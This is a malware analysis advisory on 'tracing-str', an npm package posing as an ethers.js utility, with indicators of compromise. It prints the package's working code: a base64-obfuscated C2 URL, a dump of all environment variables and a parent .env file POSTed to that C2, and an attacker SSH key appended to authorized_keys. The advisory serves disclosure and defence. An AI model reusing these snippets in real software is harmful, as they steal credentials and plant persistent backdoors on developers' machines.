npm-2026-001 critical by Paul Newton

tracing-str — SSH Backdoor & Environment Variable Stealer

Malicious npm package masquerading as an ethers.js utility. On import, it fetches an attacker-controlled SSH public key and appends it to the victim's ~/.ssh/authorized_keys, establishing persistent passwordless SSH access. It also harvests all environment variables — including secrets from the parent directory's .env file — and exfiltrates them to a Vercel-hosted C2. The C2 URL is base64-encoded to evade naive string scanning. Six versions were published across two days (9–10 March 2026), suggesting rapid iteration or version-bumping to avoid detection.

Package

Name

tracing-str

Version

2.0.3

Published by

bababa

View on NPM

Threat Actor

Unknown

Tags

#npm #malware #backdoor #ssh-persistence #env-stealer #supply-chain #vercel

Overview

This package is a supply chain attack payload, where it is stated to have 600 weekly downloads. The exported function — toTracingEthers — is named and structured to resemble a harmless ethers.js wrapper, providing cover for the malicious behaviour executed on import. The package declares only two dependencies (axios and dotenv), both legitimate and commonly found in real projects. On execution, the package performs five malicious actions in sequence: it fingerprints the victim's public IP, loads the parent directory's .env file to capture project secrets, dumps all environment variables and exfiltrates them to a Vercel-hosted C2, then fetches an SSH public key from the same C2 and appends it to ~/.ssh/authorized_keys. The C2 URL is base64-encoded within the source to evade static analysis tooling that scans for hardcoded URLs.

C2 Obfuscation — Base64-Encoded URL

The C2 base URL is not stored as a plaintext string. Instead it is base64-encoded and decoded at runtime. The decoded value resolves to a Vercel-hosted application, blending C2 traffic with legitimate Vercel platform usage.

C2 URL decoded from base64 at runtime

const BASE_URL = Buffer.from(
  'aHR0cHM6Ly9oc2RmMjItdHJhY2luZy1ldGhlcnMudmVyY2VsLmFwcA==',
  'base64'
).toString('utf8');
// → https://hsdf22-tracing-ethers.vercel.app

Public IP Fingerprinting

Before exfiltrating data, the package collects the victim machine's public IP address using a synchronous curl call to ipify.org. This gives the attacker network-level context and could be use to establish persistence via the set SSH key. .

Public IP collection via ipify

const publicIp = execSync('curl -s https://api.ipify.org').toString().trim();

Parent .env Harvesting

Before dumping environment variables, the package explicitly loads the .env file from the parent directory of the current working directory. This is a deliberate targeting of monorepo and project structures where secrets are stored one level above the installed package — capturing DATABASE_URL, API keys, cloud credentials, and any other values that would not otherwise be present in process.env at install time.

Parent directory .env loaded before exfiltration

const parentEnvPath = path.join(path.resolve(process.cwd(), '..'), '.env');
dotenv.config({ path: parentEnvPath });

Environment Variable Exfiltration

All environment variables are iterated and serialised to a string, then POSTed to the C2's /api/tracing/ethers endpoint via axios. This captures everything present in the process environment at the time of execution — including any values loaded from the parent .env in the previous step. Typical high-value targets include AWS_ACCESS_KEY_ID, DATABASE_URL, API tokens, and CI/CD secrets.

Environment variable dump and exfiltration

let varsAsString = '';
for (const [key, value] of Object.entries(process.env)) {
    varsAsString += `${key}=${value}\n`;
}

await axios.post(`${BASE_URL}/api/tracing/ethers`, {
    ethers: varsAsString,
    ip: publicIp
});

SSH Key Persistence — Backdoor

After exfiltration, the package fetches an attacker-controlled SSH public key from the C2's /api/tracing/string/ endpoint and appends it to the victim's ~/.ssh/authorized_keys file. This gives the attacker permanent, passwordless SSH access to the victim machine without any further interaction — persisting beyond package removal or credential rotation. This is the most severe behaviour in the package: it establishes an out-of-band access channel that survives the initial compromise.

SSH public key fetched from C2 and appended to authorized_keys

const response = await axios.get(`${BASE_URL}/api/tracing/string/`);
const newK = response.data.string;

const homeDir = os.homedir();
const pathToFile = path.join(homeDir, '.ssh', 'authorized_keys');
fs.appendFileSync(pathToFile, `\n${newK}`);

Indicators of Compromise

Malicious Packages

Package Version Author Notes
tracing-str 2.0.3 bababa Six versions published 9–10 March 2026 (1.0.0, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 2.0.3). Maintainer email: bilalkilnaz.54@gmail.com. Described as "A Node.js module for tracing ethers".

Domains

Domain Type Context
hsdf22-tracing-ethers[.]vercel[.]app C2 Vercel-hosted C2 — serves SSH public key and receives exfiltrated environment variables

URLs

URL Context
hxxps://hsdf22-tracing-ethers[.]vercel[.]app/api/tracing/string/ Key delivery endpoint — returns attacker SSH public key
hxxps://hsdf22-tracing-ethers[.]vercel[.]app/api/tracing/ethers Exfiltration endpoint — receives all environment variables as POST body

Targeted File Paths

Path Context
~/.ssh/authorized_keys Attacker SSH public key appended — establishes persistent passwordless SSH backdoor
../.env Parent directory .env loaded via dotenv before exfiltration — targets monorepo secrets

Environment Variables / Config Paths

Artefact Context
AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY Targeted by env dump — cloud infrastructure access
DATABASE_URL Targeted by env dump — database credentials
* (all env vars) Full process.env serialised and exfiltrated; parent .env also loaded prior to dump